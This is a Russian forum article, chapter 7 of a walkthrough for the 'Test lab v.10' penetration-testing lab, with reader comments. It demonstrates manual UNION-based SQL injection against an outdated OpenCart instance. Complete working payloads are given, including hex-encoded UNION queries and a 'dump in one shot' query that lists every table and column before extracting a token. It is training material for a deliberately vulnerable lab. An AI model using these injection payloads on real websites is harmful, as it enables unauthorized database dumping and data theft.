• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)

Глава 7
Предыдущая глава
Следующая глава
Оглавление

tl10-png.8234


Приведствую Вас колеги) Продолжим пожалуй с вами путешествие по на нашей лаборатории в роли пентестера и возьмем пожалуй очередной токен на dev store(172.16.0.5)) В этой статье в отличии от прошлой ,
где я советовал не замарачиваться и пойти более легким путем, я бы наоборот хотел показать олдскульную технику експлуатации SQL injection. Так как токен берется с помощью утилиты sqlmap очень быстро, и этот пост можно было закончить одним скрином и одной командой для скульмапа,я продемонстрирую работу руками и технику SQLi DIOS,которую я когда то одолжил у одной пакистанской хактим в одном закрытом форуме)
Немного отходя от темы хочу сказать что я был первый человек который принес эту технику эксплуатаци для русского брата,в конце статьи я выложу ссылки на свои статьи на других ресурсах и на один из первоисточников информации.

И так почему я сказал что на dev store мы токен заберем от store - это потому что на store стоит новая версия CMS OpenCart и она не уязвимая к sql injection что нельзя сказать про версию OpenCart которая находится на машине 172.16.0.5
Ну что ж... Как обычно сперва пробросим порт как мы уже умеем благодаря прошлым статьям

1.png


Внесем изменение в файл /etc/hosts

2.png


Жмакним по какому то продукту:

3.png


По старой доброй привычки тыкнем кавычку в передаваемый GET запросом параметр product_id=50'

4.png


Видим старый знакомый код ошибки синтаксиса MySQL ))) (PS: Одна из моих самых любимых ошибок :))

Давайте сразу же найдем к-тво столбцов в запросе:

5.png


Определяем что столбцов у нас 3

Теперь самое интересное:
Давайте попытаться сделать вывод в иньекции:
union select 111,222,333 -- -
Увы диманика контента пока осталась не заметна
давайте попробуем добавить какое то слово что бы можно было искать в контенте легко по нему:
product_id=50 union select codeby111,codeby222,codeby333 -- -

2016-12-25-221642_1023x519_scrot.png


Хм...Видим ошибку.. Ну впринципе логично же , что таких столбцов нету,а для того что на вывод мы получали плейн текст то можем использовать хекс кодировку:
product_id=50 union select 0x636f64656279313131,0x636f64656279323232,0x636f64656279333333 -- -
Поищем в исходном коде по слову codeby , и видем что у нас уязвим 3-й столбец:

2016-12-25-222155_1023x532_scrot.png


Но есть маленькая проблемка, наш вывод не виден на главной странице. Это потому что он находится между тегами <div><ul><li><a href>, а посему здесь логика проста - нужно просто закрыть эти теги перед нашим выводом,выглядит это примерно так :

product_id=50 union select null,null,concat(
</a></li></ul></div><div><font color='green' size=5>Special For CodeBy By DarkNode Hacker) -- -

Ну мы конежно помним что в таком виде сервер запрос не приймет - его нужно перевести в хекс кодировку:

product_id=50 union select null,null,concat(
0x3c2f613e3c2f6c693e3c2f756c3e3c2f6469763e3c6469763e3c666f6e7420636f6c6f723d27677265656e272073697a653d353e5370656369616c20466f7220436f64654279204279204461726b4e6f6465204861636b6572) -- -

2016-12-25-223232_1023x538_scrot.png


Видим что появился вывод на странице) Для удобства обрежем лишний html код коментарием в конце запроса (<!--)

product_id=50 union select null,null,concat(
</a></li></ul></div><div><font color='green' size=5>Special For CodeBy By DarkNode Hacker
,<!--) -- -
Только опять же таки все в хекс кодировке должно быть:

2016-12-25-223925_1023x504_scrot.png


Теперь я покажу вам пример DIOS (Dump In One Shot) - все даные за один запрос:
Я увы не буду обьяснять суть техники в этой статьи,кому будет интересно как она работает - я оставлю в конце статьи ссылки на свои статьи на других ресурсах где описанно как это работает.

И так запрос следующего вида вернет нам все таблицы и столбцы в базе:

concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where@:=concat_ws(0x20,@,0x3c6c693e,table_name,column_name)),@)

Просто вставим этот кусочек в наш запрос:

product_id=50 union select null,null,concat(
0x3c2f613e3c2f6c693e3c2f756c3e3c2f6469763e3c6469763e3c666f6e7420636f6c6f723d27677265656e272073697a653d353e5370656369616c20466f7220436f64654279204279204461726b4e6f6465204861636b6572,concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where@:=concat_ws(0x20,@,0x3c6c693e,table_name,column_name)),@)
,0x3c212d2d) -- -



2016-12-25-224913_1023x599_scrot.png


Как видим нам вывелись полностью все таблицы и даже из Information_schema.tables,
по этому я немного изменил запрос что бы выдодились только таблицы и столбцы из нашей действующей базы данных, имя базы данных будет красным цветом,имя таблицы зеленым,а имя столбца будет синим цветом:

Добавим этот кусочек запроса вместо предвидущего:

concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and@:=concat_ws(0x20,@,0x3c6c693e,0x3c666f6e7420636f6c6f723d22726564223e5b,table_schema,0x5d,0x3c666f6e7420636f6c6f723d27677265656e273e5b,table_name,0x5d,0x3c666f6e7420636f6c6f723d27626c7565273e5b,column_name,0x5d)),@)

product_id=50 union select null,null,concat(
0x3c2f613e3c2f6c693e3c2f756c3e3c2f6469763e3c6469763e3c666f6e7420636f6c6f723d27677265656e272073697a653d353e5370656369616c20466f7220436f64654279204279204461726b4e6f6465204861636b6572,concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and@:=concat_ws(0x20,@,0x3c6c693e,0x3c666f6e7420636f6c6f723d22726564223e5b,table_schema,0x5d,0x3c666f6e7420636f6c6f723d27677265656e273e5b,table_name,0x5d,0x3c666f6e7420636f6c6f723d27626c7565273e5b,column_name,0x5d)),@)
,0x3c212d2d) -- -


2016-12-25-225434_1023x537_scrot.png


Листаем вниз,или пользуемся поиском по слову "token" и находим там таблицу token и столбец token:

6.png


Ну дальше просто достаем токен запросом:

product_id=50 union select null,null,concat(
0x3c2f613e3c2f6c693e3c2f756c3e3c2f6469763e3c6469763e3c666f6e7420636f6c6f723d27677265656e272073697a653d353e5370656369616c20466f7220436f64654279204279204461726b4e6f6465204861636b6572,0x3c62723e,token
,0x3c212d2d) from token -- -


7.png


Моя статья про SQLi DIOS на
на
Статья арабского хакера

Помни!) Если понравилась статья - жмакни лайк )
Вот видосик к статье:

Предыдущая глава
Следующая глава
Оглавление
 

SooLFaa

Platinum
15.07.2016
898
1 559
BIT
18
Статья хорошая, одно не пойму, что принципиально другого у пакистанских хакеров в нагрузке?
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Статья хорошая, одно не пойму, что принципиально другого у пакистанских хакеров в нагрузке?
Я всего лишь продемонстрировал технику DIOS. Она имеет ряд прииумуществ при ручной работе,порой лично мне гораздо быстрее ввести заготовленный шаблон для дампа всех столбцов и таблиц в один запрос чем ждать пока переберутся все пейлоады и векторы в скульмапе и потом пока найдешь нужные таблицы. Второй момент - это непосредственно работа с вафом.Когда щупается логика поведения веб приложения.
 
Последнее редактирование:

SooLFaa

Platinum
15.07.2016
898
1 559
BIT
18
Я всего лишь продемонстрировал технику DIOS. Она имеет ряд прииумуществ при ручной работе,порой лично мне гораздо быстрее ввести заготовленный шаблон для дампа всех столбцов и таблиц в один запрос чем ждать пока переберутся все пейлоады и векторы в скульмапе и потом пока найдешь нужные таблицы. Второй момент - это непосредственно работа с вафом.Когда щупается логика поведения веб приложения.
Я то всё это знаю. Вопрос был, а что тебе подсказали пакистанские хакеры, так то, я ничего особо приватного не увидел?
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Я то всё это знаю. Вопрос был, а что тебе подсказали пакистанские хакеры, так то, я ничего особо приватного не увидел?
Технику DIOS запросов,да и так некоторые плюшки при работе со скулями,хакбар у них взял,который потом слил на а-чате.
 
  • Нравится
Реакции: x5ctf
D

Dmitry88

Помучался, но всё же сделал. Спасибо за подробный разбор.
А как удобней конвертировать в HEX ?
А то я простецким методом работал: писал plain text в файл.txt , а потом в консоли конвертировал командой "cat file.txt | xxd -c 256 -ps" , что не очень удобно. Ну и хотелось бы посмотреть оригиналы запросов до конвертации в hex, как в примере с "(</a></li></ul></div><div><font color='green' size=5>Special For CodeBy By DarkNode Hacker,<!--)"
 
  • Нравится
Реакции: <~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Помучался, но всё же сделал. Спасибо за подробный разбор.
А как удобней конвертировать в HEX ?
А то я простецким методом работал: писал plain text в файл.txt , а потом в консоли конвертировал командой "cat file.txt | xxd -c 256 -ps" , что не очень удобно. Ну и хотелось бы посмотреть оригиналы запросов до конвертации в hex, как в примере с "(</a></li></ul></div><div><font color='green' size=5>Special For CodeBy By DarkNode Hacker,<!--)"
Ну есть удобный декодер|енкодер в Burp Suite , А так я пользуюсь хак-баром.
 
  • Нравится
Реакции: Dmitry88
D

Dmitry88

Ну есть удобный декодер|енкодер в Burp Suite , А так я пользуюсь хак-баром.
К сожалению бурп у меня фришный. А вот за подсказку с хакбаром спасибо. Удобная вещь. Столько промучался,а оказалось там в менюшке encoding-hexencoding-string было. Век живи- век учись.
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Никто ее там и не сносил... Это бекап новой версии OpenCart CMS которая не уязвимая к SQLi. Это не БД сайта)Это было сделано для того , что бы запутать учасников... А уязвимая версия ,старее которая чем на store.gds.lab , находится на dev store(172.16.0.5).
По этому ваша версия про альтернативный вариант слишком легкая и не подходит)
 
  • Нравится
Реакции: Dmitry88
C

cutoff

Никто ее там и не сносил... Это бекап новой версии OpenCart CMS которая не уязвимая к SQLi. Это не БД сайта)Это было сделано для того , что бы запутать учасников... А уязвимая версия ,старее которая чем на store.gds.lab , находится на dev store(172.16.0.5).
По этому ваша версия про альтернативный вариант слишком легкая и не подходит)
да, я уже пропалил :) но в ней кстати нет sqli и версия 2.3.0.2, что немного нелогично, я подумал они оставили её чтобы можно было покопаться и найти дырку в дев версии, потому что в чистом opencart нет такой sqli
 
  • Нравится
Реакции: Dmitry88

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
да, я уже пропалил :) но в ней кстати нет sqli и версия 2.3.0.2, что немного нелогично, я подумал они оставили её чтобы можно было покопаться и найти дырку в дев версии, потому что в чистом opencart нет такой sqli
Посмотри тут
 
S

Syndicat

А как будет выглядеть команда для sqlmap в данном примере?
 

fdgdfgrgfgdf

Green Team
31.03.2017
23
4
BIT
0
ssh> -L 80:172.16.0.5:80
bind: Permission denied
channel_setup_fwd_listener_tcpip: cannot listen to port: 80
Port forwarding failed.

Запустил сессию не под рутом
 
Последнее редактирование:

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
ssh> -L 80:172.16.0.5:80
bind: Permission denied
channel_setup_fwd_listener_tcpip: cannot listen to port: 80
Port forwarding failed.

Запустил сессию не под рутом
По умолчанию для того что бы занять порт в диапазоне 1-1023 нужны повышеные привилегии
WikiPedia сказал(а):
В большинстве прослушивание портов с номерами 0—1023 требует особых привилегий ( ). Другие номера портов выдаются операционной системой первым запросившим их процессам.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!